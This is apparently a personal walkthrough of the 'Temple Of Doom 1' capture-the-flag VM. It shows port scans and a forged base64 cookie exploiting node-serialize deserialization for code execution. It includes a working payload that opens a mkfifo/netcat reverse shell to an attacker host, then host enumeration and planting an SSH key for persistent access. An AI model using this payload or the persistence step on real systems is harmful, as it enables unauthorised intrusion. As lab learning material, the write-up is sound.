Temple Of Doom 1

Second last in my original list, lets go! 1 Oh how nice they give us the IP!

Recon

  • VM published 8 Jun 2018
  • 2 ways to get root
  • Seems to be Red Hat OS

Enumeration

$  sudo nmap 10.10.10.7                                                                                                                                  1 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-28 13:18 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.7
Host is up (0.00018s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
666/tcp open  doom
MAC Address: 08:00:27:8D:8F:43 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
└─$ nc -vn 10.10.10.7 666                                                                                                                                  1 ⨯
(UNKNOWN) [10.10.10.7] 666 (?) open
ls
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 10.10.10.7:666           
Under Construction, Come Back Later!                                                                                                                                                               
┌──(kali㉿kali)-[~/Desktop]
└─$ nikto --host 10.10.10.7 --port 666
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.7
+ Target Hostname:    10.10.10.7
+ Target Port:        666
+ Start Time:         2021-02-28 13:28:09 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD 
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated:  20 error(s) and 5 item(s) reported on remote host
+ End Time:           2021-02-28 13:28:13 (GMT-5) (4 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
└─$ dirb http://10.10.10.7:666 /usr/share/wordlists/dirb/big.txt    
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sun Feb 28 13:29:46 2021
URL_BASE: http://10.10.10.7:666/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
-----------------
GENERATED WORDS: 20458                                                         
---- Scanning URL: http://10.10.10.7:666/ ----
                                                                                                                                                              
-----------------
END_TIME: Sun Feb 28 13:29:52 2021
DOWNLOADED: 20458 - FOUND: 0

I started burp, and explored as a user, and somehow triggered this error: 2 I did this:

  • Navigated to root
  • Tried going to /wp-content
  • Tried going to /blog
  • went back to root
  • this error I turned on intercept, there's a cookie with a parameter profile. Editing the value changes the JSON parse error. I'm not sure if code-injection is a thing in JS, but if it is this may be an in for us? I played with this for a little while, putting in characters and watching the output change until I realized that the cookie is base64 encoded:
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0" | base64 --decode
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}base64: invalid input"

Okay, there's an error in the JSON of the token, and the expiry date is way past... Let's see if changing that gets us anywhere:

──(kali㉿kali)-[~/Desktop]
└─$ echo '{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}'         
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}
                                                                                                                                                               
┌──(kali㉿kali)-[~/Desktop]
└─$ echo '{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}' | base64
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdj
aGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAgR01UIn0K
$ echo "eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAgR01UIn0K" | base64 --decode
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}

Intercept, change cookie to our payload... 3 Okay cool, where does that get us? There's nothing extra on the page... Maybe this is an XSS vector that we could use to get remote file read?

$ echo '{"username":"alert('1234')","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}' | base64
eyJ1c2VybmFtZSI6ImFsZXJ0KDEyMzQpIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMz
NGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAg
R01UIn0K
eyJ1c2VybmFtZSI6ImFsZXJ0KDEyMzQpIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAgR01UIn0K

4 Okay, we do have control of the page somewhat... I think this is going to require a fair bit of iteration, so I'm going to write a little python script to help me out:

import sys
import base64
payload = sys.argv[1]
token = '{"username":"%s","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}' % payload
token_bytes = token.encode('ascii')
base64_bytes = base64.b64encode(token_bytes)
base64_token = base64_bytes.decode('ascii')
print(base64_token)

Testing:

└─$ python t.py a 
eyJ1c2VybmFtZSI6ImEiLCJjc3JmdG9rZW4iOiJ1MzJ0NG8zdGIzZ2c0MzFmczM0Z2dkZ2NoanduemEwbD0iLCJFeHBpcmVzIjoiRnJpZGF5LCAxMyBPY3QgMjAyNSAwMDowMDowMCBHTVQifQ==
                                                                                                                                                               
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "eyJ1c2VybmFtZSI6ImEiLCJjc3JmdG9rZW4iOiJ1MzJ0NG8zdGIzZ2c0MzFmczM0Z2dkZ2NoanduemEwbD0iLCJFeHBpcmVzIjoiRnJpZGF5LCAxMyBPY3QgMjAyNSAwMDowMDowMCBHTVQifQ==" | base64 --decode
{"username":"a","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}

Perfect, now let's modify this to actually send out payload and get a response for us:

import sys
import base64
import requests
# Build payload
payload = sys.argv[1]
token = '{"username":"%s","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2025 00:00:00 GMT"}' % payload
token_bytes = token.encode('ascii')
base64_bytes = base64.b64encode(token_bytes)
base64_token = base64_bytes.decode('ascii')
cookies = {'profile':base64_token}
# Send request
res = requests.get('http://10.10.10.7:666', cookies=cookies)
print(res)
print(res.content)

And testing...

$ python3 t.py a
<Response [200]>
b'Hello a'

Lovely, now let's play!

┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py <html></html>
zsh: parse error near \`<\'
                                                                                                                                                               
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py "<html></html>"
<Response [200]>
b'Hello &lt;html&gt;&lt;/html&gt;'
└─$ python3 t.py "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
<Response [200]>
b'Hello %3Cscript%3Ealert(1)%3C%2Fscript%3E'
└─$ python3 t.py "\<"  
<Response [500]>
b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Error</title>\n</head>\n<body>\n<pre>SyntaxError: Unexpected token &lt; in JSON at position 14<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)<br> &nbsp; &nbsp;at /home/nodeadmin/.web/server.js:12:29<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)</pre>\n</body>\n</html>\n'
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py "\\\\" 
<Response [200]>
b'Hello \\'
                                                                                                                                                               
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py \"\\\" 
dquote> 
dquote> 
                                                                                                                                                               
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 t.py "\\\""
<Response [200]>
b'Hello &quot;'

At this point I'm just messing around... I've written a bunch of nodejs code but honestly It's been quite a while... so I did a bit of research. The first thing I found on google for NodeJS RCE was this:

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {  
    if (req.cookies.profile) 
    {    
        var str = new Buffer(req.cookies.profile,'base64').toString();
        var obj = serialize.unserialize(str);
        if (obj.username) {    
            res.send("Hello " + escape(obj.username));
        ​}​
    } else {
        ​res.cookie('profile',"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true});​
    }
    res.send("Hello World");
});
app.listen(3000);

serialize.unserialize() gives us a shot at RCE...

$ python3 t.py {\"payload\":\"__$$ND_FUNC$$_function(){\r\nconsole.log(\"TEST\");\r\n\t}\"}
{'profile': 'eyJ1c2VybmFtZSI6IntwYXlsb2FkOl9fMTg3MU5EX0ZVTkMxODcxX2Z1bmN0aW9uKCl7XHJcbmNvbnNvbGUubG9nKFRFU1QpO1xyXG5cdH19IiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMjUgMDA6MDA6MDAgR01UIn0='}
<Response [200]>
b'Hello {payload:__1871ND_FUNC1871_function(){\r\nconsole.log(TEST);\r\n\t}}'

At this point, I realized using stdin for my python args would cause some issues, so I modified my script with my new understanding:

import sys
import base64
import requests
# Build payload
payload = """{"username": "_$$ND_FUNC$$_function (){ return 'hi'; }()" ,"country":"india","city":"Delhi"}"""
payload_bytes = payload.encode('ascii')
base64_bytes = base64.b64encode(payload_bytes)
base64_payload = base64_bytes.decode('ascii')
cookies = {'profile':base64_payload}
print(payload)
print(cookies)
# Send request
res = requests.get('http://10.10.10.7:666', cookies=cookies)
print(res)
print(res.content)

This contains an example payload from the resource above... when executed we get 'hi' as the response! RCE!

$ python3 t.py
└─$ python3 t.py
└─$ python3 t.py
{"username": "_$$ND_FUNC$$_function (){ return 'hi'; }()" ,"country":"india","city":"Delhi"}
{'profile': 'eyJ1c2VybmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHJldHVybiAnaGknOyB9KCkiICwiY291bnRyeSI6ImluZGlhIiwiY2l0eSI6IkRlbGhpIn0='}
<Response [200]>
b'Hello hi'

Alright, now we should be able to use this to get a shell on the system pretttty quickly, it took a bit of messing around, but the working payload was:

payload = """{"username": "_$$ND_FUNC$$_function (){ require('child_process').execSync(\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.4 4444 >/tmp/f\\", function puts(error, stdout, stderr) {}); }()" ,"country":"india","city":"Delhi"}"""

And we popped a reverse shell!

└─$ nc -lvp 4444
listening on [any] 4444 ...
10.10.10.7: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.7] 50222
sh: cannot set terminal process group (821): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ python -c 'import pty; pty.spawn("/bin/bash")'      
python -c 'import pty; pty.spawn("/bin/bash")'
[nodeadmin@localhost ~]$ id
id
uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)
[nodeadmin@localhost ~]$ ls -al
ls -al
total 40
drwx------. 5 nodeadmin nodeadmin 4096 Jun  7  2018 .
drwxr-xr-x. 4 root      root      4096 Jun  2  2018 ..
-rw-------. 1 nodeadmin nodeadmin    1 Jun  7  2018 .bash_history
-rw-r--r--. 1 nodeadmin nodeadmin   18 Mar 15  2018 .bash_logout
-rw-r--r--. 1 nodeadmin nodeadmin  193 Mar 15  2018 .bash_profile
-rw-r--r--. 1 nodeadmin nodeadmin  231 Mar 15  2018 .bashrc
drwx------  3 nodeadmin nodeadmin 4096 Jun  1  2018 .config
-rw-------  1 nodeadmin nodeadmin   16 Jun  3  2018 .esd_auth
drwxr-xr-x  4 nodeadmin nodeadmin 4096 Jun  3  2018 .forever
drwxrwxr-x. 3 nodeadmin nodeadmin 4096 May 30  2018 .web
[nodeadmin@localhost ~]$ ls /home
ls /home
fireman  nodeadmin
[nodeadmin@localhost /]$ ps -aux
ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2 170832  9384 ?        Ss   13:10   0:00 /usr/lib/system
root         2  0.0  0.0      0     0 ?        S    13:10   0:00 [kthreadd]
root         4  0.0  0.0      0     0 ?        I<   13:10   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I<   13:10   0:00 [mm_percpu_wq]
root         7  0.0  0.0      0     0 ?        S    13:10   0:00 [ksoftirqd/0]
root         8  0.0  0.0      0     0 ?        I    13:10   0:00 [rcu_sched]
root         9  0.0  0.0      0     0 ?        I    13:10   0:00 [rcu_bh]
root        10  0.0  0.0      0     0 ?        S    13:10   0:00 [migration/0]
root        11  0.0  0.0      0     0 ?        S    13:10   0:00 [watchdog/0]
root        12  0.0  0.0      0     0 ?        S    13:10   0:00 [cpuhp/0]
root        13  0.0  0.0      0     0 ?        S    13:10   0:00 [kdevtmpfs]
root        14  0.0  0.0      0     0 ?        I<   13:10   0:00 [netns]
root        15  0.0  0.0      0     0 ?        S    13:10   0:00 [rcu_tasks_kthr
root        16  0.0  0.0      0     0 ?        S    13:10   0:00 [kauditd]
root        17  0.0  0.0      0     0 ?        S    13:10   0:00 [oom_reaper]
root        18  0.0  0.0      0     0 ?        I<   13:10   0:00 [writeback]
root        19  0.0  0.0      0     0 ?        S    13:10   0:00 [kcompactd0]
root        20  0.0  0.0      0     0 ?        SN   13:10   0:00 [ksmd]
root        21  0.0  0.0      0     0 ?        SN   13:10   0:00 [khugepaged]
root        22  0.0  0.0      0     0 ?        I<   13:10   0:00 [crypto]
root        23  0.0  0.0      0     0 ?        I<   13:10   0:00 [kintegrityd]
root        24  0.0  0.0      0     0 ?        I<   13:10   0:00 [kblockd]
root        25  0.0  0.0      0     0 ?        I<   13:10   0:00 [ata_sff]
root        26  0.0  0.0      0     0 ?        I<   13:10   0:00 [md]
root        27  0.0  0.0      0     0 ?        I<   13:10   0:00 [edac-poller]
root        28  0.0  0.0      0     0 ?        I<   13:10   0:00 [devfreq_wq]
root        29  0.0  0.0      0     0 ?        S    13:10   0:00 [watchdogd]
root        32  0.0  0.0      0     0 ?        S    13:10   0:00 [kswapd0]
root        81  0.0  0.0      0     0 ?        I<   13:10   0:00 [kthrotld]
root        82  0.0  0.0      0     0 ?        I<   13:10   0:00 [acpi_thermal_p
root        83  0.0  0.0      0     0 ?        S    13:10   0:00 [scsi_eh_0]
root        84  0.0  0.0      0     0 ?        I<   13:10   0:00 [scsi_tmf_0]
root        85  0.0  0.0      0     0 ?        S    13:10   0:00 [scsi_eh_1]
root        86  0.0  0.0      0     0 ?        I<   13:10   0:00 [scsi_tmf_1]
root        87  0.0  0.0      0     0 ?        S    13:10   0:00 [scsi_eh_2]
root        88  0.0  0.0      0     0 ?        I<   13:10   0:00 [scsi_tmf_2]
root        89  0.0  0.0      0     0 ?        I    13:10   0:00 [kworker/u2:2]
root        90  0.0  0.0      0     0 ?        I<   13:10   0:00 [dm_bufio_cache
root        91  0.0  0.0      0     0 ?        I<   13:10   0:00 [ipv6_addrconf]
root        92  0.0  0.0      0     0 ?        I    13:10   0:00 [kworker/u2:3]
root        93  0.0  0.0      0     0 ?        I    13:10   0:01 [kworker/0:2]
root        99  0.0  0.0      0     0 ?        I<   13:10   0:00 [kstrp]
root       353  0.0  0.0      0     0 ?        I<   13:10   0:00 [kworker/0:1H]
root       379  0.0  0.0      0     0 ?        I<   13:10   0:00 [ttm_swap]
root       419  0.0  0.0      0     0 ?        I<   13:10   0:00 [kdmflush]
root       429  0.0  0.0      0     0 ?        I<   13:10   0:00 [kdmflush]
root       448  0.0  0.0      0     0 ?        S    13:10   0:00 [jbd2/dm-0-8]
root       449  0.0  0.0      0     0 ?        I<   13:10   0:00 [ext4-rsv-conve
root       531  0.0  0.3 124344 16844 ?        Ss   13:10   0:00 /usr/lib/system
root       557  0.0  0.1  96168  7896 ?        Ss   13:10   0:00 /usr/lib/system
root       622  0.0  0.0      0     0 ?        S    13:11   0:00 [jbd2/sda1-8]
root       623  0.0  0.0      0     0 ?        I<   13:11   0:00 [ext4-rsv-conve
root       642  0.0  0.0      0     0 ?        I<   13:11   0:00 [rpciod]
root       643  0.0  0.0      0     0 ?        I<   13:11   0:00 [kworker/u3:0]
root       644  0.0  0.0      0     0 ?        I<   13:11   0:00 [xprtiod]
root       646  0.0  0.0  54064  1936 ?        S<sl 13:11   0:00 /sbin/auditd
root       674  0.0  0.1  98152  4800 ?        Ss   13:11   0:00 /sbin/rngd -f
root       675  0.0  0.0  17472  1608 ?        SNs  13:11   0:00 /usr/sbin/alsac
dbus       676  0.0  0.1  52808  4744 ?        Ss   13:11   0:00 /usr/bin/dbus-d
root       677  0.0  0.1 417584  8524 ?        Ssl  13:11   0:00 /usr/sbin/Modem
avahi      681  0.0  0.0  54432  3556 ?        Ss   13:11   0:00 avahi-daemon: r
root       684  0.0  0.2 519296 10588 ?        Ssl  13:11   0:00 /usr/libexec/ud
rtkit      688  0.0  0.0 192964  3528 ?        SNsl 13:11   0:00 /usr/libexec/rt
root       689  0.0  0.1  26364  4884 ?        Ss   13:11   0:00 /usr/sbin/smart
root       690  0.0  0.3 665876 16752 ?        Ssl  13:11   0:00 /usr/sbin/Netwo
root       692  0.0  0.4 685972 20800 ?        Ssl  13:11   0:00 /usr/sbin/rsysl
root       693  0.0  0.1  79464  6280 ?        Ss   13:11   0:00 /usr/lib/system
root       713  0.0  0.2 546912 10572 ?        Ssl  13:11   0:00 /usr/sbin/abrtd
avahi      714  0.0  0.0  54300   376 ?        S    13:11   0:00 avahi-daemon: c
root       715  0.0  0.0 299692  3552 ?        Ssl  13:11   0:00 /usr/sbin/gsspr
polkitd    735  0.0  0.5 1751252 21960 ?       Ssl  13:11   0:00 /usr/lib/polkit
chrony     737  0.0  0.0 105572  2744 ?        S    13:11   0:00 /usr/sbin/chron
root       744  0.0  0.3 743436 13916 ?        Ss   13:11   0:00 /usr/bin/abrt-d
root       745  0.0  0.4 743436 19356 ?        Ss   13:11   0:00 /usr/bin/abrt-d
root       747  0.0  0.5 809044 23756 ?        Ss   13:11   0:00 /usr/bin/abrt-d
root       761  0.0  0.1  79544  6772 ?        Ss   13:11   0:00 /usr/sbin/sshd 
root       768  0.0  0.0  28088  2240 ?        Ss   13:11   0:00 /usr/sbin/atd -
root       769  0.0  0.0 229504  3464 ?        Ss   13:11   0:00 /usr/sbin/crond
root       780  0.0  0.1 287720  4780 ?        S    13:11   0:00 /usr/sbin/CROND
root       786  0.0  0.0 213528  1792 tty1     Ss+  13:11   0:00 /sbin/agetty -o
nodeadm+   797  0.0  0.1  87688  8308 ?        Ss   13:11   0:00 /usr/lib/system
nodeadm+   805  0.0  0.0 140884  2628 ?        S    13:11   0:00 (sd-pam)
nodeadm+   821  0.0  0.0      0     0 ?        Zs   13:11   0:00 [sh] <defunct>
nodeadm+   822  0.0  1.0 900396 45676 ?        Sl   13:11   0:03 /bin/node /home
nodeadm+   823  0.0  0.2 497052  8776 ?        Ssl  13:11   0:00 /usr/bin/pulsea
root       832  0.0  0.2  82768  8704 ?        S    13:11   0:00 /sbin/dhclient 
nodeadm+   916  0.0  0.0  52236  3904 ?        Ss   13:11   0:00 /usr/bin/dbus-d
root      1029  0.0  0.0      0     0 ?        Z    13:31   0:00 [sendmail] <def
root      1687  0.0  0.0      0     0 ?        I    15:16   0:00 [kworker/0:0]
nodeadm+  1688  0.0  0.0 214380  3108 ?        S    15:17   0:00 /bin/sh -c rm /
nodeadm+  1691  0.0  0.0 209080   808 ?        S    15:17   0:00 cat /tmp/f
nodeadm+  1692  0.0  0.0 218716  3800 ?        S    15:17   0:00 /bin/sh -i
nodeadm+  1693  0.0  0.1  25016  5968 ?        S    15:17   0:00 nc 10.10.10.4 4
nodeadm+  1696  0.0  0.1 236020  7128 ?        S    15:19   0:00 python -c impor
nodeadm+  1697  0.0  0.0 218716  3768 pts/0    Ss   15:19   0:00 /bin/sh
nodeadm+  1722  0.0  0.1 236016  7180 pts/0    S+   15:20   0:00 python -c impor
nodeadm+  1723  0.0  0.1 220008  5444 pts/1    Ss   15:20   0:00 /bin/bash
root      1786  0.0  0.0      0     0 ?        I    15:22   0:00 [kworker/0:1]
nodeadm+  1794  0.0  0.0 250564  3776 pts/1    R+   15:23   0:00 ps -aux
[nodeadmin@localhost log]$ uname -a
uname -a
Linux localhost.localdomain 4.16.3-301.fc28.x86_64 #1 SMP Mon Apr 23 21:59:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[nodeadmin@localhost cron.hourly]$ systemctl list-timers --all
systemctl list-timers --all
NEXT                         LEFT       LAST                         PASSED       UNIT                         ACTIVATES
Sun 2021-02-28 16:22:49 EST  54min left Sun 2021-02-28 15:22:49 EST  5min ago     dnf-makecache.timer          dnf-makecache.service
Mon 2021-03-01 00:00:00 EST  8h left    Sun 2021-02-28 13:11:05 EST  2h 16min ago mlocate-updatedb.timer       mlocate-updatedb.service
Mon 2021-03-01 13:26:39 EST  21h left   Sun 2021-02-28 13:26:39 EST  2h 1min ago  systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
3 timers listed.
 find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/sbin/userhelper
/usr/sbin/pam_timestamp_check
/usr/sbin/mtr-packet
/usr/sbin/usernetctl
/usr/sbin/exim
/usr/sbin/mount.nfs
/usr/sbin/unix_chkpwd
/usr/libexec/gstreamer-1.0/gst-ptp-helper
/usr/libexec/Xorg.wrap
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/bin/newgidmap
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/crontab
/usr/bin/mount
/usr/bin/at
/usr/bin/su
/usr/bin/umount
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chage
/usr/bin/newgrp
/usr/local/lib/authbind/helper
/usr/lib/polkit-1/polkit-agent-helper-1
[nodeadmin@localhost cron.hourly]$ env                     
env
LS_COLORS=
MODULES_RUN_QUARANTINE=LD_LIBRARY_PATH
LANG=en_CA.UTF-8
XDG_SESSION_ID=3
MODULES_CMD=/usr/share/Modules/libexec/modulecmd.tcl
USER=nodeadmin
ENV=/usr/share/Modules/init/profile.sh
PWD=/etc/cron.hourly
HOME=/home/nodeadmin
BASH_ENV=/usr/share/Modules/init/bash
LOADEDMODULES=
SHELL=/bin/bash
SHLVL=5
MODULEPATH=/etc/scl/modulefiles:/usr/share/Modules/modulefiles:/etc/modulefiles:/usr/share/modulefiles
LOGNAME=nodeadmin
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
XDG_RUNTIME_DIR=/run/user/1001
MODULEPATH_modshare=/usr/share/modulefiles:1:/etc/modulefiles:1:/usr/share/Modules/modulefiles:1
PATH=/usr/share/Modules/bin:/usr/bin:/bin
MODULESHOME=/usr/share/Modules
LESSOPEN=||/usr/bin/lesspipe.sh %s
BASH_FUNC_module%%=() {  _moduleraw "$@" 2>&1
}
BASH_FUNC_switchml%%=() {  typeset swfound=1;
 if [ "${MODULES_USE_COMPAT_VERSION:-0}" = '1' ]; then
 typeset swname='main';
 if [ -e /usr/share/Modules/libexec/modulecmd.tcl ]; then
 typeset swfound=0;
 unset MODULES_USE_COMPAT_VERSION;
 fi;
 else
 typeset swname='compatibility';
 if [ -e /usr/share/Modules/libexec/modulecmd-compat ]; then
 typeset swfound=0;
 MODULES_USE_COMPAT_VERSION=1;
 export MODULES_USE_COMPAT_VERSION;
 fi;
 fi;
 if [ $swfound -eq 0 ]; then
 echo "Switching to Modules $swname version";
 source /usr/share/Modules/init/bash;
 else
 echo "Cannot switch to Modules $swname version, command not found";
 return 1;
 fi
}
BASH_FUNC_scl%%=() {  if [ "$1" = "load" -o "$1" = "unload" ]; then
 eval "module $@";
 else
 /usr/bin/scl "$@";
 fi
}
BASH_FUNC__moduleraw%%=() {  unset _mlre _mlIFS _mlshdbg;
 if [ "${MODULES_SILENT_SHELL_DEBUG:-0}" = '1' ]; then
 case "$-" in 
 *v*x*)
 set +vx;
 _mlshdbg='vx'
 ;;
 *v*)
 set +v;
 _mlshdbg='v'
 ;;
 *x*)
 set +x;
 _mlshdbg='x'
 ;;
 *)
 _mlshdbg=''
 ;;
 esac;
 fi;
 if [ -n "${IFS+x}" ]; then
 _mlIFS=$IFS;
 fi;
 IFS=' ';
 for _mlv in ${MODULES_RUN_QUARANTINE:-};
 do
 if [ "${_mlv}" = "${_mlv##*[!A-Za-z0-9_]}" -a "${_mlv}" = "${_mlv#[0-9]}" ]; then
 if [ -n "`eval 'echo ${'$_mlv'+x}'`" ]; then
 _mlre="${_mlre:-}${_mlv}_modquar='`eval 'echo ${'$_mlv'}'`' ";
 fi;
 _mlrv="MODULES_RUNENV_${_mlv}";
 _mlre="${_mlre:-}${_mlv}='`eval 'echo ${'$_mlrv':-}'`' ";
 fi;
 done;
 if [ -n "${_mlre:-}" ]; then
 eval `eval ${_mlre}/usr/bin/tclsh /usr/share/Modules/libexec/modulecmd.tcl bash '"$@"'`;
 else
 eval `/usr/bin/tclsh /usr/share/Modules/libexec/modulecmd.tcl bash "$@"`;
 fi;
 _mlstatus=$?;
 if [ -n "${_mlIFS+x}" ]; then
 IFS=$_mlIFS;
 else
 unset IFS;
 fi;
 if [ -n "${_mlshdbg:-}" ]; then
 set -$_mlshdbg;
 fi;
 unset _mlre _mlv _mlrv _mlIFS _mlshdbg;
 return $_mlstatus
}
_=/usr/bin/env
OLDPWD=/etc
# Okay I'm getting bored, let's make sure I have persistant acess before I go for a break
sh-4.4$ cd /home/nodeadmin
cd /home/nodeadmin
sh-4.4$ mkdir .ssh
mkdir .ssh
sh-4.4$ cd .ssh
cd .ssh
sh-4.4$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOWct6VtfWUebAnnE3B3Fzg4Lo/s+exeDied0x1L/aOQuHlx90FaE1b6BzcTa7inViJE+xDF6Q4D/pxxfO5dYt+EptFjQInuXswfeH2mSVQGB6dJAxETRP7u7lrtIgyssu8LjFFsnvYKhB1IcJiYqNoBcisD70Zo8iBMPWLhNshpoOSpxsH1UQsXA2LBF9VYlGqj0/0jE1VJQecPOZp6pjOAdtINLQNy4PCLOvZY0c9034PjEdH2veBVrAEGNHPP+SYOU4nHRhgQKCxXf8MqO62V7mQEsTD8jKcBr8MWlRFxi7rtoSV7kXss+/Aa+GW+DxVCWf9TZ7nHZYp14uDtEukvjamHahx30jkKDNkX9PSPu6fHekkhc3iP0qVYcoQJtvwYxF2W2DucDrtTJ6cxVL/SvrTXtxchcnQono08yVyBJhmsNs3Ax77lp2f1Z384ojruz+SZsueJKYnt5BCZJfuarr/qpLEVnq41tfJrHpRn8aN/8mprn4gO/JrWunC+k= kali@kali" > authorized_keys
<8aN/8mprn4gO/JrWunC+k= kali@kali\" > authorized_keys
└─$ ssh nodeadmin@10.10.10.7    
The authenticity of host '10.10.10.7 (10.10.10.7)' can\'t be established.
ECDSA key fingerprint is SHA256:1eJE7yDTRsXrbiPO/at+KaGAkGw3oeqo1SabMun84zE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.7' (ECDSA) to the list of known hosts.
Last login: Sun Jun  3 15:26:34 2018 from 192.168.2.15
[nodeadmin@localhost ~]$ ls -al
total 44
drwx------. 6 nodeadmin nodeadmin 4096 Feb 28 15:40 .
drwxr-xr-x. 4 root      root      4096 Jun  2  2018 ..
-rw-------. 1 nodeadmin nodeadmin    1 Jun  7  2018 .bash_history
-rw-r--r--. 1 nodeadmin nodeadmin   18 Mar 15  2018 .bash_logout
